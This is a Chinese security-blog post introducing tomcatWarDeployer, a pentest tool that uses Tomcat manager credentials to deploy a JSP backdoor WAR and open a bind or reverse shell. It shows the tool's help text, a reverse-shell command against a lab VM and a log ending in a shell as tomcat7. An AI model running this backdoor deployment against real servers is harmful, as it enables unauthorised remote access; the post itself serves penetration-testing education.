Apache Tomcat 自动 WAR 部署和 渗透测试工具

admin 2021年12月12日08:19:39评论540 views字数 5623阅读18分44秒阅读模式

每日分享好工具

Apache Tomcat 自动 WAR 部署和 渗透测试工具


Tomcat是我们在工作中所使用的一款开源轻量级的Web应用程序服务器。通常情况下在中小型系统或者并发量较小的场合下使用,常用来与JSP脚本结合使来解析脚本语言部署搭建网站等系统。
在这里解释一下War包的概念:war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。


工具介绍:

一个渗透测试工具,旨在利用 Apache Tomcat 凭据自动生成和部署 JSP 后门,并在之后调用它并提供直观的展示(通过 web界面、绑定在远程机器上的侦听端口或作为反向 tcp 有效负载连接回连)。
在实践中,它即时生成 JSP 后门 WAR 包并将其部署在 Apache Tomcat 管理器应用程序中,使用 pentester 提供的有效 HTTP 身份验证凭据(或自定义凭据)。
该工具提供了几个方便的功能——比如管理器的面板查找逻辑、对 CVE-2007-1860 双重编码问题的支持、在较新的 Tomcat 中处理 CSRF。

用法:

user$ python tomcatWarDeployer.py --help
tomcatWarDeployer (v. 0.5) Apache Tomcat auto WAR deployment & launching tool Mariusz B. / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured. Usage: tomcatWarDeployer.py [options] server
server Specifies server address. Please also include port after colon.
Options: -h, --help show this help message and exit
General options: -v, --verbose Verbose mode. -s, --simulate Simulate breach only, do not perform any offensive actions. -G OUTFILE, --generate=OUTFILE Generate JSP backdoor only and put it into specified outfile path then exit. Do not perform any connections, scannings, deployment and so on. -U USER, --user=USER Tomcat Manager Web Application HTTP Auth username. Default="tomcat" -P PASS, --pass=PASS Tomcat Manager Web Application HTTP Auth password. Default="tomcat"
Connection options: -H RHOST, --host=RHOST Remote host for reverse tcp payload connection. When specified, RPORT must be specified too. Otherwise, bind tcp payload will be deployed listening on 0.0.0.0 -p PORT, --port=PORT Remote port for the reverse tcp payload when used with RHOST or Local port if no RHOST specified thus acting as a Bind shell endpoint. -u URL, --url=URL Apache Tomcat management console URL. Default: /manager/ -t TIMEOUT, --timeout=TIMEOUT Speciifed timeout parameter for socket object and other timing holdups. Default: 10
Payload options: -R APPNAME, --remove=APPNAME Remove deployed app with specified name. Can be used for post-assessment cleaning -X PASSWORD, --shellpass=PASSWORD Specifies authentication password for uploaded shell, to prevent unauthenticated usage. Default: randomly generated. Specify "None" to leave the shell unauthenticated. -T TITLE, --title=TITLE Specifies head>title for uploaded JSP WAR payload. Default: "JSP Application" -n APPNAME, --name=APPNAME Specifies JSP application name. Default: "jsp_app" -x, --unload Unload existing JSP Application with the same name. Default: no. -C, --noconnect Do not connect to the spawned shell immediately. By default this program will connect to the spawned shell, specifying this option let's you use other handlers like Metasploit, NetCat and so on. -f WARFILE, --file=WARFILE Custom WAR file to deploy. By default the script will                        generate own WAR file on-the-fly.

在 192.168.56.100:8080 上运行的Kevgir 1 VM上的示例用法

user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080
tomcatWarDeployer (v. 0.3) Apache Tomcat 6/7 auto WAR deployment & launching tool Mariusz B. / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured. INFO: Reverse shell will connect to: 192.168.56.102:4449.DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcatDEBUG: Apache Tomcat Manager Application reached & validated.DEBUG: Generating JSP WAR backdoor code...DEBUG: Preparing additional code for Reverse TCP shellDEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"DEBUG: Working with Java at version: 1.8.0_60DEBUG: Generating web.xml with servlet-name: "JSP Application"DEBUG: Generating WAR file at: "/tmp/jsp_app.war"DEBUG: added manifestadding: files/(in = 0) (out= 0)(stored 0%)adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)adding: files/META-INF/(in = 0) (out= 0)(stored 0%)adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)DEBUG: WAR file structure:DEBUG: /tmp/tmpDhzo9I├── files│   ├── META-INF│   │   └── MANIFEST.MF│   └── WEB-INF│   └── web.xml└── index.jsp
3 directories, 3 filesWARNING: Application with name: "jsp_app" is already deployed.DEBUG: Unloading existing one...DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"DEBUG: Succeeded.DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"DEBUG: Succeeded, invoking it...DEBUG: Spawned shell handling thread. Awaiting for the event...DEBUG: Awaiting for reverse-shell handler to set-upDEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449DEBUG: Socket is binded to local port now, awaiting for clients...DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.DEBUG: Incoming client: 192.168.56.100:54251INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'DEBUG: Connected with the shell: tomcat7@canyoupwnmejhtomcat7@canyoupwnme $ iduid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)
tomcat7@canyoupwnme $ exit

该程序将在 192.168.56.102:4449 主机(本地主机)上为反向 shell 连接设置一个本地侦听器,如上例所示。然后,在调用JSP Backdoor 后,它会自动连接到本地侦听器,从而弹出shell。

Apache Tomcat 自动 WAR 部署和 渗透测试工具

如您所见,需要使用密码来利用部署的后门,从而防止在进行评估期间未经身份验证的访问。
综上所述,用户产生了提供 WEB 后门的 WEB 应用程序,通过用户指定或程序随机生成的 POST 'password' 参数进行身份验证。然后,应用程序在调用阶段收到X-Pass标头后,生成与我们的netcat处理程序的反向连接这里正在请求 HTTP 标头,以防止用户刷新 WEB 界面并继续尝试绑定或反向连接。这也利用身份验证来访问该代码。

以上是我的分析。

已测试:

  • Apache Tomcat/5.5.35

  • Apache Tomcat/6.?

  • Apache Tomcat/7.0.52

  • Apache Tomcat/7.0.56

  • Apache Tomcat/8.0.33

手动部署war包可参考案例:https://blog.csdn.net/weixin_42918771/article/details/104876025?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.control&spm=1001.2101.3001.4242https://blog.csdn.net/weixin_43071873/article/details/109532160https://www.freebuf.com/column/186279.html

公众号后台发送“tomcat”即可获取安装包。希望对各位大佬有用,一起学习哈。 


每日坚持分享好工具好资源,麻烦各位师傅文章底部给点个“再看”,感激不尽Apache Tomcat 自动 WAR 部署和 渗透测试工具


欢迎关注 系统安全运维 

觉得不错点个“赞”、“在看”哦Apache Tomcat 自动 WAR 部署和 渗透测试工具

本文始发于微信公众号(系统安全运维):Apache Tomcat 自动 WAR 部署和 渗透测试工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月12日08:19:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat 自动 WAR 部署和 渗透测试工具https://cn-sec.com/archives/449187.html

发表评论

匿名网友 填写信息